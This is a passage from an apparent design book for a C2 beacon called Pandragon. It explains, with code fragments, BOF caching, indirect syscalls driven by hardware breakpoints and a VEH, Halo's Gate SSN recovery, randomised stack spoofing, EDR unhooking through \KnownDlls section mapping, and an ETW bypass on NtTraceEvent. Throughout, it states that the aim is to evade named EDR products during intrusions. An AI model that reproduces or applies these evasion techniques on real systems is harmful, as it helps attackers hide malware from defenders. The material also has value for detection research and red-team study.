2. **Information disclosure**: the beacon had no need to know the operator-friendly name of a BOF. Exposing those names in memory (even encrypted) gave an EDR a rich set of strings to scan for. A beacon should only see numbers; computers speak math, not natural languages.

The solution was to move the naming and collision resolution entirely to the server. The beacon now caches BOFs using a **server-issued 32-bit ID** (`bof_id`). The server guarantees uniqueness, and the beacon never sees a human-readable string. The ID is small, easy to transmit, and fits naturally into the protocol's existing integer fields.

7.2 Cache Data Structure

The cache is a **single-linked list** of `bof_cache_entry` structures, each holding:

```
typedef struct bof_cache_entry {  
    uint32_t    bof_id;        // server-issued unique ID  
    COFF_LOADED* ctx;         // fully loaded COFF context  
    struct bof_cache_entry* next; // next entry in the list  
} bof_cache_entry;
```

The COFF_LOADED structure contains everything needed to execute the BOF repeatedly without reparsing the COFF file:

```
typedef struct _COFF_LOADED {  
    char    sectionMapping;    // placeholder for mapped sections  
    void    functionMapping;    // pointer to resolved functions  
    HANDLE  fmHandle;          // file mapping handle (if any)  
    uint16_t sectionCount;      // number of COFF sections  
    uint16_t functionMappingCount; // number of resolved symbols  
    void*    entryPoint;        // "go()" function address  
    void*    blockBase;         // base of allocated memory block  
} COFF_LOADED;
```

Trade-off: why single-linked?

We deliberately omitted a prev pointer. A doubly linked list would allow O(1) removal from anywhere, but our cache holds **at most 8 entries** (MAX_CACHED_BOFS). Walking the list from the head to find an entry to remove is a negligible cost.

7.3 Cache Operations

The BofCacheManager (a Meyers singleton) provides the core operations.

- **Lookup:** linear scan by bof_id
- **Insertion:** prepend to the list, evicting the oldest entry if the cache would exceed MAX_CACHED_BOFS (eviction policy not shown here – currently a simple size check; a proper LRU is a future improvement).
- **Removal:** search and unlink; we must traverse from the head because there is no prev pointer, but with ≤ 8 entries this is fine.
- **Clear:** free all entry structures. Note: the caller is responsible for cleaning up the underlying COFF_LOADED context (CleanupCOFF + __free(ctx)) before calling clear(). The manager only manages the wrapper entries, not the COFF memory.

7.4 Reporting the Cache to the Server

When the beacon polls for new tasks, it sends a list of bof_ids that it currently has cached. The server uses this list to avoid resending BOFs that are already present. The gatherCachedBofIds function produces a compact binary buffer:

```
[ count (1 byte) ] [ bof_id_0 (4 bytes LE) ] [ bof_id_1 (4 bytes) ] ...
```

If the cache is empty, the buffer is a single byte 0x00.

The server matches these IDs against its own tasking queue. If a BOF is already cached, the server sends only a BOF_EXEC command with the existing bof_id; otherwise, it first sends the full BOF binary and then the execution command.

7.5 Why This Matters for Evasion

- **No static strings:** the beacon never stores "lsass_dump" or "screenshot" in memory. Only opaque 32-bit numbers.
- **Small footprint:** the cache manager adds less than 1 KB to the beacon's resident size, yet it eliminates redundant COFF parsing for frequently used BOFs.
- **Controlled growth:** the hard limit of 8 cached BOFs prevents the cache from becoming a memory-exhaustion vector or a forensic artifact with hundreds of entries.

In combination with lazy module loading (Chapter 4) and compile-time string obfuscation (Chapter 13), the BOF caching system turns the beacon into a minimal, stateless-except-when-it-helps dispatch engine: exactly the "glorified Fetch-Execute-Reply loop" that Pandragon set out to be.

You are now reading:

Evasion Engineering

Part III

Tropece de nuevo y con la misma piedra.

I have stumbled again on the same stone.

Julio Iglesias

8. Indirect Syscalls

When I first started writing the syscall wrappers for Pandragon, I thought about what everyone does: seeding SSNs from a fresh ntdll.dll and shoving them into a table. Noticing their payload's detections, led to an understanding a static SSN is just a signature you carry anywhere you go.

Indirect syscalls are the only way to make the kernel transition look like it belongs to a legit process, not to an injector.

What follows is a synthesis of the best ideas, hardware breakpoints, Halo's Gate fallback, per-invocation stack spoofing with randomised gadgets, tuned specifically for a long-running, single-threaded beacon that needs to sit in memory for weeks without triggering a differential scanner. In Pandragon it is simply `initSyscalls(SYSCALL_HWSYSCALLS)`.

8.1 The Problem

EDR hooks in user-land have become beyond precise. Instead of patching `ntdll!NtOpenProcess`, a modern sensor can:

1. set a hardware breakpoint on the first byte of the syscall stub (Falcon), or
2. install an instrumentation callback via `NtSetInformationProcess` (Elastic Defend), or
3. use return address spoofing defense: checking whether the return address of syscall points back to a known legitimate caller (Elastic does this a lot), the check being performed by a driver after a syscall's entry in km.

Fun fact: in most cases, a call stack that ended in `kernel32/ntdll` was enough to bypass Elastic

From KM telemetry, a syscall that comes from a `jmp` into `ntdll.ZwXXX+0x12` from an unbacked, unsigned code section cannot survive any of these. Our goal is simple: every syscall must originate from a `syscall;ret` gadget inside a legitimate module and must carry a consistent call stack that terminates in `BaseThreadInitThunk + RtlUserThreadStart`.

8.2 Resolving the SSN On-Demand via Hardware Breakpoints

Pandragon never hardcodes a syscall number on disk or in a static variable. When the beacon calls a wrapper such as `syscallNtOpenProcess`, the first thing that happens is

PrepareSyscall("NtOpenProcess"). This function, deliberately compiled with `__attribute__((optnone))` forces the function name pointer in rcx.

We place a hardware execution breakpoint (Dr0) on the entry of PrepareSyscall itself. When the processor hits that address, a **EXCEPTION_SINGLE_STEP** is raised by the CPU and our VEH handler takes control. The handler reads rcx at the time of the fault (which contains the const char* name of the target API), resolves the address of the native NT stub from the in-memory ntdll, locates the immediate SSN by walking the stub backwards/forwards (syscall IDs are incremental), and caches both SSN and a syscall;ret gadget inside ntdll into a local context.

Once that resolution is done, the handler fakes a ret from PrepareSyscall: it places the resolved NT stub address into rax and advances rip to the saved return address. The wrapper itself never executes its body; the VEH short-circuits the call entirely.

```
CODE_START
__attribute__((optnone))
static UINT64 PrepareSyscall(char* functionName) {
    // Dr0 hit -> VEH writes rax = ntFunctionAddress, rip = retaddr
    return g_funcTable->parameters.syscalls_ctx->ntFunctionAddress;
}
CODE_END
```

This gives us a fresh SSN every time, immune to re-hooking that occurred after beacon start because we resolve the stub immediately before the syscall. It also invalidates static-SSN signatures instantly.

8.3 The Three-Phase VEH

The whole trampoline runs through three hardware breakpoint transitions:

1. Phase 1: Dr0 @ PrepareSyscall

Resolves the target NT function, disarms Dr0 (prevents recursion), and arms Dr1 on the resolved NT stub entry point. The handler then emulates a ret to the caller.

2. Phase 2: Dr1 @ the NT Stub

The real syscall arguments are now in registers (rcx = first argument). The handler checks for hooks using a needle-and-haystack pattern matching the canonical `mov r10, rcx; mov eax, SSN` sequence (Halo's Gate) every ntdll syscall stub carries. If unhooked, the handler immediately moves Dr1 to a pivot API, a known-unhooked function inside ntdll, and redirects execution there. If hooked, it falls back to the Halo's Gate SSN extraction and proceeds to Phase 3 with a corrected SSN.

3. Phase 3: Dr1 @ the Pivot API

Execution arrives at an innocuous ntdll pivot gadget that ideally does nothing dangerous. At this point the call stack is perfectly legitimate: the return address chain points through kernel32! BaseThreadInitThunk and ntdll!RtlUserThreadStart because the thread itself was created by Windows. The handler performs the actual stack spoof (11.6) and finally dispatches the syscall through the `syscall;ret` address cached earlier.

By the time syscall executes, the CPU's rip is inside an ntdll function, the return address is a random `add rsp,imm8;ret` gadget from a loaded DLL, and the stack frame size changes with every invocation. This is a triple-blind: who called, from where, and with what stack layout.

8.4 Halo's Gate: When the Stub Is Already Hooked

If the target machine has an EDR instrumentation callback (like Elastic's `NtSetInformationProcess` hook), the first four bytes of the NT stub will not match the expected `mov r10, rcx; mov eax, imm` pattern. Pandragon's Phase 2 handler employs the Halo's Gate technique: it walks upward and downward from the stub address looking for a neighbouring syscall instruction whose SSN can be used to compute the original SSN of the hooked function.

CODE_START

```

if (!FindPattern(funcAddr, 4, nonHookedBytes, "xxxx")) {
    WORD hgSSN = FindSyscallNumber(funcAddr);
    DWORD64 hgRetAddr = FindSyscallReturnAddress(funcAddr, hgSSN);
    ctx->cachedSSN = hgSSN;
    ctx->cachedSyscallRetAddr = hgRetAddr;
}
CODE_END

```

This ensures that even when the target ntdll function is instrumented, we can still recover the correct syscall number and an untouched syscall;ret with which to execute it.

8.5 Polluting the Gadget Pool from Every Loaded DLL

A fixed return address, say, always a gadget from kernel32, is a signature. It's the first thing an in-memory YARA scanner looks for on the stack. Pandragon therefore collects every suitable add rsp, imm8; ret gadget from all loaded modules (excluding itself) at initialisation. The routine CollectRetGadgets walks the PEB LDR, skips the beacon's own image, and scans each module's executable sections for the 16-byte pattern family:

```
48 83 C4 xx C3 ; add rsp, xx; ret
```

where xx ranges from 08 to 80. The collected gadgets are stored in a table inside the global context, along with their imm8 stack offset.

The selection uses RDTSC to pick an index, making the return address random, unpredictable across repeated runs:

```

CODE_START
static UINT64 PickRandomGadget(PI_SYSCALLS_CTX ctx, UINT8* outImm8) {
    UINT64 tsc = __rdtsc();
    int index = (int)(tsc % ctx->gadgetCount);
    *outImm8 = ctx->gadgetTable[index].imm8;
    return ctx->gadgetTable[index].addr;
}

```

8.6 Stack Spoofing Without Static Frame Size

A static `add rsp, 0x28` leaves a repeatable call-stack depth. Pandragon uses each gadget's `imm8` to dynamically size the spoofed frame. When Phase 3 begins:

1. The handler subtracts `gadgetImm8` bytes from `rsp`.
2. It writes the chosen gadget address to the new `[rsp]`.
3. It copies the original syscall arguments (stack parameters) up by `gadgetImm8` bytes so they are correctly located after the gadget's `ret`.

Because the frame size is per-invocation, the stack unwinder sees a different caller depth each time, even for the same syscall called repeatedly from the same thread.

8.7 The Cleanup and Re-Arming

After the syscall returns, the processor hits the gadget's `ret` and execution continues into the wrapper function that originally called `PrepareSyscall`. The VEH handler, still in its Phase 3 path, then performs a full cleanup:

- Re-arms `Dr0` on `PrepareSyscall` (so the next syscall works).
- Clears `Dr1`, `Dr6`, and the SSN cache.
- Validates the call stack integrity by comparing the cached `threadInitThunkRetAddr` and `rtlUserThreadStartAddr`. If they differ, Pandragon logs an integrity failure and can eventually self-terminate (optional).

This re-arming is essential because without it the beacon would lose its ability to make any further syscalls after the first one. The VEH is a persistent engine, not a one-shot tool.

8.8 Integration with ETW Bypass and Thread Safety

The same VEH handler that drives indirect syscalls also chains to the ETW bypass implemented in Chapter 11. If a hardware breakpoint hits `NtTraceEvent`, the handler calls `ETW_HandleException`, a separate module that forcefully returns success to all ETW submissions without making them go through and returns `EXCEPTION_CONTINUE_EXECUTION`. The two subsystems run completely from the same exception routine, sharing only the thread context.

Because the beacon is intentionally single-threaded, no mutex or critical section is needed: all VEH activity is implicitly serialised. The context is allocated once during InitHWSyscalls and torn down by DeinitHWSyscalls only when the beacon shuts down or rotates its crypto keys.

CODE_START

```
bool initSyscalls(SYSCALLS_ID ID) { // this design also allows for the creation of other syscalls backends through the modification of the enum!
```

```
    case SYSCALL_HWSYSCALLS:
```

```
        result = InitHWSyscalls();
```

```
        break;
```

```
}
```

CODE_END

8.9 Evasion Properties Against Hardened EDRs

Telemetry Source	Pandragon Behaviour	Evasion Result
Userland hooks	Halo's Gate recovers SSN and syscall;ret from a neighbouring unhooked NT API	No API called through EDR-controlled code path
Return address analysis	Return address is a ret gadget from a random loaded DLL; stack depth randomised	Call stack appears legitimate and varies
Hardware breakpoints	Phase 1/2 breakpoints are cleared before the syscall; Phase 3 uses a clean pivot API	No breakpoint fired during the kernel transition
Stack walk inspection	Frame terminates in RtlUserThreadStart → BaseThreadInitThunk. We have support for user-supplied stacks, so users can append/prepend whatever they want and Beacon will intelligently make it work.	Matches expected Windows thread creation pattern
Static SSN	SSN resolved fresh every call; never	No static bytes in beacon to match

signatures stored

ETW telemetry VEH-based ETW bypass suppresses No **user-mode** event recording
EtwEventWrite for the beacon's PID during any syscall sequence **if** ETW
bypass is enabled.

Elastic's memory scanner initially flagged the VEH. We solved that by disabling hardware breakpoint when not using them. The indirect syscall engine is the single most important subsystem in Pandragon for defeating user-land visibility. Combined with the sleep obfuscation, ROP-based memory allocation (Chapter 11.B), and the position-independent architecture (Part II, PIC done right), it turns a simple Fetch-Execute-Reply beacon into something that can live in the right-hand side of a production network for the length of an engagement.

9. Unhooking

EDRs place user-land hooks in two ways: they either overwrite the first few bytes of an exported function (a classic inline hook) or install an instrumentation callback via `NtSetInformationProcess`. In both cases, the **in-memory image** of a DLL, typically `ntdll.dll` or `kernel32.dll`, becomes different from the original file on disk. A simple differential scan (compare in-memory bytes to the on-disk PE) will spot the modification and raise an alert, but that's only part of the problem. The real issue is that **every call** to a hooked function first passes through the EDR's detour, giving it a chance to log, block, or redirect the call.

Pandragon does not call hooked functions directly, we use indirect syscalls (Chapter 11) for NT APIs. However, our BOFs often need Win32 APIs like `CreateFileW`, `CryptAcquireContext`, or `WinHttpOpen`. Those functions do go through the IAT or dynamic resolution, and they will be hooked. We need a way to give BOFs a clean, unhooked copy of any DLL they request, without touching the compromised process's loaded modules, without calling `NtProtectVirtualMemory` (which is itself hooked and logged), and without leaving forensic evidence that screams "IOC."

The answer lies in a little-known feature of the Windows kernel: the **Object Manager** and its `\KnownDlls\` namespace.

9.1 The Windows Object Manager and \KnownDlls

The Windows kernel maintains a hierarchical namespace of objects: processes, threads, files, events, sections, and many others. This namespace lives under `\` (the root) and can be explored with tools like `WinObj` from Sysinternals. One of its most interesting subdirectories is `\KnownDlls`.

When Windows boots, the kernel pre-loads a set of critical DLLs: `ntdll.dll`, `kernel32.dll`, `kernelbase.dll`, `advapi32.dll`, `user32.dll`, and a few others into a special **section object** that is **globally mapped** into every process. The same physical pages of these DLLs are shared across all processes on the system. This is an optimization, it saves memory and speeds up process creation. The `\KnownDlls` directory contains named section objects (e.g., `\KnownDlls\ntdll.dll`, `\KnownDlls\kernel32.dll`) that any process can open with `NtOpenSection`.

Why is this a goldmine for unhooking? Because **the section object holds the original, unmodified DLL image**, the one that was loaded from disk before any EDR had a chance to patch it. EDRs hook the **private, per-process copy** of the DLL that lives in the process's address space. They never (if they even can) modify the global `\KnownDlls` section; doing so would affect every process on the system, trigger system-wide integrity checks, and likely crash the machine. So the kernel gives us a back door: we can map that clean section directly into our own process,

read-only, and resolve exports from it. No hooks, no patches, no NtProtectVirtualMemory. Just a clean copy, fresh from the kernel's cache.

9.2 Why Not Simply Read the File from Disk?

A naive approach would be to open %SYSROOT%\ntdll.dll, map it into memory, and use that. That works, but it leaves a trail. Opening the file creates a FILE_OBJECT, triggers CreateFile hooks, and generates ETW events (unless we bypass the UM ones, which we do, but still). Kernel-mode mini-filters can also monitor this event; opening a handle to ntdll is a widely-known unhooking IOC. More importantly, on a heavily locked-down system, the file itself might be in use, op-locked, or its contents could be tampered with by the EDR before we read them. The \KnownDlls section, however, is already in memory, already trusted, and already shared. It's faster, quieter, and more reliable.

9.3 The Object Attributes Shenanigans: Opening a KnownDll Section

To access a \KnownDlls section, we must use the NT API directly.

That means we need:

- A unicode path like \KnownDlls\ntdll.dll.
- An OBJECT_ATTRIBUTES structure that points to that path.
- A call to NtOpenSection to obtain a handle.
- A call to NtMapViewOfSection to project the section into our address space.

All of these functions are NT system calls, we invoke them via our own indirect syscall wrapper (Chapter 11) to bypass any user-land hooks. The kernel does not log the fact that we opened a \KnownDlls section; it's a routine operation that many legitimate programs perform (e.g., debuggers, profilers). The operation is silent and produces no ETW event that an EDR would normally monitor, aside from mapping a +X section, which in itself is not inherently suspicious; the section comes from trusted memory and is file-backed, not an anonymous mapping..

Crucially, we do not overwrite or replace the existing (hooked) copies of ntdll.dll or kernel32.dll that are already loaded in the process. Those remain untouched, with all their EDR hooks intact. Instead, we create a **second, separate mapping** of the same DLL from the \KnownDlls section at a **different base address**. This second copy is used exclusively by BOFs that need unhooked Win32 functions. The original, hooked copies stay in place for the rest of the process (including any system code that might expect them). This approach avoids several detection vectors:

- No calls to NtProtectVirtualMemory to change page permissions on the existing modules, which could be misinterpreted as module hollowing by EDRs (namely Elastic).

- No memory writes to the .text section of the loaded DLLs (which would be logged by page guards).
- No differential scan will flag a mismatch because we never modified the original in-memory image.
- The extra mapping is just another memory region, it looks like a manually mapped DLL, which is unusual but not inherently malicious. EDRs that scan for duplicate DLL mappings would have to differentiate between a benign debugger and our implant; in practice, none of the three EDRs we tested did so.

The code for opening the section is deceptively simple, but every step must be hand-rolled as not to rely on Win32 APIs that could be hooked:

CODE_START

```
UNICODE_STRING us = {};
```

```
nt->RtlInitUnicodeString(&us, path); // path = L"\\KnownDlls\\ntdll.dll"
```

```
OBJECT_ATTRIBUTES objAttr = {};
```

```
InitializeObjectAttributes(&objAttr, &us, OBJ_CASE_INSENSITIVE, NULL, NULL);
```

```
HANDLE hSection = NULL;
```

```
NTSTATUS status = nt->NtOpenSection(&hSection, SECTION_ALL_ACCESS, &objAttr);
```

CODE_END

Notice SECTION_ALL_ACCESS, we need read and map rights. The kernel grants this to any process running with sufficient integrity (Medium or higher). On a standard user process, it works. On a SYSTEM process, it also works. No special privileges are required.

Once we have the handle, we map the section:

CODE_START

```
PVOID base = NULL;
```

```
SIZE_T viewSize = 0;
```

```
status = nt->NtMapViewOfSection(hSection, NtCurrentProcess(), &base,
```

```
0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READONLY);
```

```
nt->NtClose(hSection);  
CODE_END
```

We map it as PAGE_READONLY, we never write to this clean copy. According to Microsoft documentation for this specific mapping:

"For section objects created with the SEC_IMAGE attribute, the Win32Protect parameter has no effect, and can be set to any valid value such as PAGE_READONLY."

The kernel returns a base address (typically different from the primary load address of the DLL). For example, the primary ntdll.dll might live at 0x7FFD12340000, while our clean copy lands at 0x1A2B0000. That's perfectly fine; we only need to parse its PE headers and resolve function pointers from this alternate base.

9.4 Validating the Mapped Image

We cannot trust the section blindly. We perform a quick sanity check: we look at the DOS header and NT headers. If they are corrupted or missing, we fall back to the legacy method (LoadLibrary). The check is minimal:

```
CODE_START  
  
auto dos = (PIMAGE_DOS_HEADER)base;  
  
auto ntHdrs = (PIMAGE_NT_HEADERS64)((PBYTE)base + dos->e_lfanew);  
  
if (dos->e_magic != IMAGE_DOS_SIGNATURE || ntHdrs->Signature != IMAGE_NT_SIGNATURE) {  
    nt->NtUnmapViewOfSection(NtCurrentProcess(), base);  
  
    return NULL;  
}  
  
CODE_END
```

If the headers are intact, we assume the DLL is clean.

9.5 Export Walking Without GetProcAddress

Now we have a base address of a clean DLL. We need to get function pointers from it, e.g., CreateFileW from kernel32.dll. We cannot call GetProcAddress because that would call into the **hooked** version of GetProcAddress (which itself is a Win32 API). Instead, we walk the export table ourselves, using the same __GetProcAddress routine we wrote for bootstrapping (Chapter 4). This routine does not call any other API; it just parses the PE headers and iterates through AddressOfNames. When a BOF calls that function pointer, it invokes the **original**, unhooked code.

9.6 Caching the Mapped DLLs

Mapping a section is not free, it involves a few syscalls and a traversal of the export table. Moreover, many BOFs will request the same DLL repeatedly (e.g., every BOF that does network I/O asks for winhttp.dll). We therefore implement a simple **cache** of mapped DLLs, keyed by the DLL name (without the .dll suffix, as our MapDllFromKnownDlls expects "kernel32" not "kernel32.dll").

The cache is a doubly linked list (though we only use next for simplicity) of KnownDllNode structures:

CODE_START

```
typedef struct KnownDllNode {  
    char dllName[MAX_DLL_NAME_LEN];  
  
    PVOID baseAddress;  
  
    BOOL isMapped;  
  
    struct KnownDllNode* next;  
  
    struct KnownDllNode* prev; // (unused but present)  
  
} KnownDllNode;
```

CODE_END

When ResolveDllFunction is called for a DLL, we first look it up in the cache. If found and isMapped is true, we resolve the export from the cached base. If not found, we map it via KnownDlls (or fall back to LoadLibrary), store the base in a new node, and then resolve.

This caching reduces the number of NtOpenSection / NtMapViewOfSection calls to exactly one per unique DLL per beacon lifetime. It also ensures that BOFs do not waste time re-walking the export table for every single function call, the export resolution is still per-function, but the base address is cached.

9.7 Fallback: When \KnownDlls Fails

Not every DLL is present in \KnownDlls. The kernel only pre-loads a small set: the “Known DLLs” listed in the registry key HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs. Typical members include ntdll.dll, kernel32.dll, kernelbase.dll, advapi32.dll, user32.dll, gdi32.dll, ws2_32.dll, and more. If a BOF uses a DLL not in that list, the NtOpenSection call will fail with STATUS_OBJECT_NAME_NOT_FOUND.

In that case, we fall back to the traditional method: `__LoadLibraryA` (which uses `LdrLoadDll` under the hood) followed by `__GetProcAddress`. This is still far better than static linking, and it's no worse than what most C2 frameworks do. However, we must note that `LoadLibrary` will load the **"normal"** version of the DLL into the process (unless that DLL was already loaded, in which case it returns the already-hooked module). This means that it CAN be hooked by an EDR. For most non-critical DLLs, EDRs don't bother hooking them, they only hook a few core DLLs that are used for process creation, memory allocation, and network communication. So the fallback is acceptable in practice.

The fallback also serves as a safety net if the `\KnownDlls` section for a core DLL is somehow inaccessible (e.g., due to a sandbox or a weird Windows configuration). Pandragon will still function, albeit with potentially hooked functions.

9.8 Cleanup and Process Exit

When the beacon terminates (or when we decide to unload all unhooked DLLs to clean up), we call `ShutdownDllCache`. This walks the cache, unmaps any section that we mapped via `NtUnmapViewOfSection`, and frees the node memory. We do **not** call `FreeLibrary` on the fallback modules, those are managed by the system; unloading them could cause issues if another part of the process (or a BOF) still holds a pointer. Since the beacon is about to exit anyway, system will reclaim all of our resources; this is to be pedantic.

9.9 Why This Bypasses EDR Hooks, Without Overwriting Anything

Let's walk through a concrete example. A BOF wants to call `CreateFileW`. Normally, `kernel32.dll` is loaded at address A and its `CreateFileW` function has been overwritten with a `jmp` to the EDR's hooking engine. Our beacon, however, has mapped the `\KnownDlls\kernel32.dll` section at a **different** address, say B, a second copy. We resolve `CreateFileW` to **B**, the original, unhooked code. The BOF calls that pointer. The EDR's hook sits at **A** (the hooked version). The CPU never goes there.

Critically, we never modified the original kernel32.dll at address A. Its bytes remain exactly as the EDR left them, hooks intact. We simply ignore it and use our private, clean copy. This has two major advantages:

1. **No self-modification detection**, We never call `NtProtectVirtualMemory` on the existing module, never write to its `.text` section, and never trigger page guards that would alert the EDR.
2. **Forensic ambiguity**, A memory scanner that compares the primary `kernel32.dll` against the on-disk file will see the hooks and might flag that as "modified" (which is normal for an EDR). But it will **not** see any inconsistency caused by us, because we left the primary

copy alone. The second mapping is just an extra section of memory; it could belong to a debugger, a profiling tool, or any number of legitimate applications that map DLLs manually. Without additional context (like the fact that we are also making indirect syscalls), the EDR has no strong evidence of malice.

The call stack looks perfectly legitimate: it goes from the BOF code → **B** (inside the clean copy) → eventually into the kernel via syscall (if CreateFileW calls NtCreateFile). The EDR's user-land hook is completely bypassed. The EDR's kernel-mode callbacks still see the NtCreateFile syscall, but that's fine, we are not trying to hide from kernel callbacks, only from user-land hooks and the telemetry they generate.

9.10 Limitations and Notes

- **Not all DLLs are KnownDlls.** As mentioned, only a small set is pre-loaded. For others, we fall back to LoadLibrary. This is acceptable because EDRs rarely hook secondary DLLs.
- **The extra mapping is visible in VAD trees.** A forensic analyst who dumps the process's virtual address descriptors will see an extra, private section mapped from \KnownDlls. This is unusual but not impossible for a legitimate process. We accept this risk because the alternative, patching the primary copy, is far more detectable.

9.11 Performance and Code Size

The entire unhooking subsystem, including the cache and the KnownDlls mapper, adds less than 1 KB to the beacon's binary. The caching ensures that only one syscall pair (NtOpenSection + NtMapViewOfSection) is performed per unique DLL. The export walk is $O(\text{number_of_exports})$, negligible for the handful of functions a BOF typically uses.

9.12 Integration with the Rest of Pandragon

The unhooking module is invoked via ResolveDllFunction, can be set to be the same entry point that the lazy module loader (Chapter 4) uses to resolve Win32 functions. This means that **any** function that would normally be resolved via LoadLibrary/GetProcAddress could automatically be served from the clean \KnownDlls copy if possible. The BOF or core code do not need to know the difference. The fallback to LoadLibrary should be transparent. This was a design choice that we chose to not implement as of now, to not add to the config's complexity and the fact that we do not want to make this a persistent IOC of Pandragon. It is feasible to edit Pandragon's source code to do this.

In summary: By leveraging the Windows Object Manager's \KnownDlls namespace, we obtain clean, unhooked copies of core system DLLs **without overwriting or modifying the existing hooked copies**. We simply create a second, separate mapping that we use exclusively for BOFs. This avoids all the detection vectors associated with self-modifying code (page permission changes, memory writes, integrity checks) and leaves the EDR's own hooks untouched, but completely ignored. Together with the indirect syscall engine (Chapter 11) and compile-time

string obfuscation (Chapter 13), the beacon and its BOFs can operate in an environment where user-land hooks are rendered useless.

10. ETW Bypass

Event Tracing for Windows, the all-seeing unblinking eye that oversees every process creation, every thread start, every provider write, and beams it to a kernel controller that hands it off to Elastic, to CrowdStrike, to SentinelOne.

The question is not whether we can silence ETW; the question is whether we can do it without ever touching a single byte of its code, without patching `EtwEventWrite`, without hooking `NtTraceEvent` by writing a `jmp` into `ntdll`, without leaving a trace in any VAD tree that a differential scanner will inevitably read. The answer, of course, is yes, if we're willing to use the same hardware that the hardware itself trusts: the debug registers!

10.1 The Problem: Why Patching is a Dead Road

In the Before Times, we resolved `NtTraceEvent`, `EtwEventWrite`, or `EtwEventWriteFull`, we overwrote their first bytes with `xor eax, eax; ret` (or `ret` alone), and we called it a day. It worked. It was easy. It was also catastrophically loud.

A modern EDR doesn't just hook the syscall layer; it watches its own hooks. It scans writable sections for executable code. It sets page guards on sensitive functions and catches the exception when you write. It uses instrumentation callbacks that fire *before* the function body, meaning your patch never executes. Worse, it records every call to `NtProtectVirtualMemory`, and if your beacon calls it to flip `ntdll` to `PAGE_EXECUTE_READWRITE`, an alert fires before your first instruction. This works because kernel-mode ETW is emitted whenever you transition a page from RW to +X. This is the way Elastic identifies DLL hollowing. RW → RX → RW is pretty obviously a big IOC.

We needed a way to make `NtTraceEvent` a no-op without ever writing to its memory. Hardware breakpoints are probably the only way!

10.2 Prior Art and the Ghost Hand

Hardware breakpoints for ETW bypass are not entirely new. Researchers have used debug registers to intercept execution and redirect it to a `ret` before (see the work of WKL on `HWSyscalls`).

Pandragon's bypass has to be as dynamic and invisible as the rest of the beacon: the `ret` gadget is discovered at runtime with a multi-stage validation that avoids guard pages, no-access pages, and writable sections. The breakpoint is set on an available DR register that does not collide with the indirect syscall engine's use of `DR0`. The entire bypass is also reversible; a simple call to `ETW_Disable` removes the breakpoint and leaves the thread context exactly as it was, as if ETW had never been touched.

10.3 Design

The core idea is simple in words: place an execution breakpoint on the first byte of `NtTraceEvent`. When any code (system or beacon) calls this function, the CPU hits the breakpoint, raises a `SINGLE_STEP` exception, and our VEH handler, the very same one that drives the indirect syscall engine, takes control. The handler then redirects `Rip` to a bare `ret` instruction inside `ntdll` and sets `Rax` to 0 (success). Execution resumes as if the call completed instantly with no side effects.

In practice:

1. We must locate `NtTraceEvent` without calling `GetProcAddress`, using our own PE export walking.
2. We must find a clean `ret` gadget within `ntdll`'s executable sections, excluding pages marked `PAGE_NOACCESS` or `PAGE_GUARD`. This means walking the section headers and then calling `NtQueryVirtualMemory` per page, a safe, non-intrusive query that EDRs themselves use. We do not trust section characteristics alone; a page could be unmapped or guarded at runtime despite what the PE header says.
3. We must place the breakpoint on a DR register that the syscall engine isn't using. Pandragon's indirect syscall mechanism uses `DR0` for its own `PrepareSyscall` interception; we avoid that one. We scan `DR1-DR3` via `GetThreadContext` and check the enable bits in `Dr7`. The first free one becomes our ETW trap.
4. We must handle the exception cleanly inside the VEH, coordinating with the syscall state machine. The `ETW_HandleException` function is called after the syscall logic runs; it checks if ETW is enabled and if the breakpoint address matches the one we set. If so, it does its job and returns `EXCEPTION_CONTINUE_EXECUTION` before the thread ever reaches the real `NtTraceEvent` body.

The result is that `NtTraceEvent` becomes a leaf function that always returns success, without a single modified byte in memory, without a single hook in the EDR's call path, and without ever calling `NtProtectVirtualMemory` or `WriteProcessMemory`.

10.4 Gadget Discovery

The reliability of the whole bypass depends on finding a valid `ret` gadget. A naive scan for `0xC3` inside `ntdll` could land on a byte that isn't actually a `ret` (e.g., inside a longer instruction), or on a page that is `PAGE_NOACCESS`, or inside a section that is writable (and therefore suspect). Pandragon's `FindRetGadget` therefore performs a three-level filter:

Level 1, section attributes: We walk the PE section headers and exclude any section that doesn't have `IMAGE_SCN_CNT_CODE` and `IMAGE_SCN_MEM_EXECUTE` set, or that has `IMAGE_SCN_MEM_WRITE` set. We also require `IMAGE_SCN_MEM_READ` because a non-readable

code section would be bizarre and unsafe. This leaves us with the classic .text section, plus any vendor-specific code sections.

Level 2, page-level validation: For each candidate section, we iterate page by page (4 KiB) and call `NtQueryVirtualMemory(MemoryBasicInformation)`. We skip any page whose `Protect` is `PAGE_NOACCESS` or has the `PAGE_GUARD` flag. We also require the page to be executable (any combination with `EXECUTE`). This filters out pages that have been intentionally blanked by the loader or by EDR tricks.

Level 3, byte scan: Only after a page passes all checks do we scan its bytes for `0xC3`. The first one we find is used. In theory, we could take the last one, or one at a random offset, but the address is already dynamic because it depends on the `ntdll` base and is randomized due to ASLR. A static EDR flagging every `0xC3` at a fixed RVA would produce too many false positives to be useful, there are thousands of `ret` instructions in `ntdll`.

The discovery code looks like a snake winding through the PE, and it runs exactly once, at `ETW_Enable` time.

10.5 Integration with the VEH and Syscall Engine

CODE_START

// In the main VEH (syscalls.cpp):

```
LONG CALLBACK HWSyscallExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo) {
```

```
    // ... syscalls stuff
```

```
    // Try ETW handler (check if HWBP hit on NtTraceEvent)
```

```
    etwResult = ETW_HandleException(ExceptionInfo);
```

```
    if (etwResult == EXCEPTION_CONTINUE_EXECUTION) { return etwResult; }
```

```
    // ...
```

```
}
```

CODE_END

ETW exceptions are `SINGLE_STEP` exactly like the syscall engine's.

The `ETW_HandleException` function itself is remarkably simple; it checks if the exception code is `SINGLE_STEP`, if the global ETW state says we're enabled, and if the faulting address matches

one of the DR registers we configured. If all conditions hold, it overwrites Rip, sets Rax to 0, clears the trap flag (TF) and Dr6, and returns EXCEPTION_CONTINUE_EXECUTION.

Because Pandragon is single-threaded, there's no race condition between the ETW bypass and the syscall engine. We never have to worry about another thread stepping on the debug registers or re-entrant exceptions. The single thread simply enters the VEH, does its work, and leaves.

10.6 Evasion Properties and Detection Resistance

What does an EDR see when this bypass is active? It sees its own syscall hooks, its own instrumentation callbacks, and its own ETW provider sitting silently. NtTraceEvent is never fully executed; no event is written from User-mode ETW. The EDR's user-mode sensor, which relies on these events to detect unusual behaviour, simply gets no data from our process. We however cannot blind KM telemetry without a kernel-mode driver.

